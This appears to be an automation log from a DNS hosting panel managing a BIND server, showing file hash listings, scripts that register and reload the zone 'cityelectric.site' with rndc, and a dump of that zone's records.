MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= ebd437838d6d13757d214b86b1ff9c48
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:28: 

PUT: /tmp/pkp397491

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 16:09:28: 

chmod 755 /tmp/pkp397491; /tmp/pkp397491; rm /tmp/pkp397491

2026-02-09 16:09:31: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 16:09:31: 

PUT: /tmp/pkp469219

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 16:09:31: 

chmod 755 /tmp/pkp469219; /tmp/pkp469219; rm /tmp/pkp469219

2026-02-09 16:09:31: 


zone reload up-to-date


2026-02-09 16:09:31: Establishing a connection
2026-02-09 16:09:31: 

PUT: /tmp/pkp239561

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp239561; rm /tmp/pkp239561'

2026-02-09 16:09:31: 
2026-02-09 16:09:31: 

PUT: /tmp/pkp508305

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 16:09:31: 

chmod 755 /tmp/pkp508305; /tmp/pkp508305; rm /tmp/pkp508305

2026-02-09 16:09:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1109
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134130673 14400 3600 14400 3600 )
@                        		 IN    NS       	ns1.hostz.org.
@                        		 IN    NS       	ns2.hostz.org.
@                         300	 IN    A        	10.140.12.86
_acme-challenge           60	 IN    TXT      	"2d91YPguzluZPnvd4sCT2Ooz7nzE1mikd-8-MTWG9Q8"
_acme-challenge           60	 IN    TXT      	"q1IqJdRmYTTVWGws1-YFUJGZ9Wcs48TCdksCgndVLcw"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                       300	 IN    CNAME    	dq-dev0f.ces-us.net.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
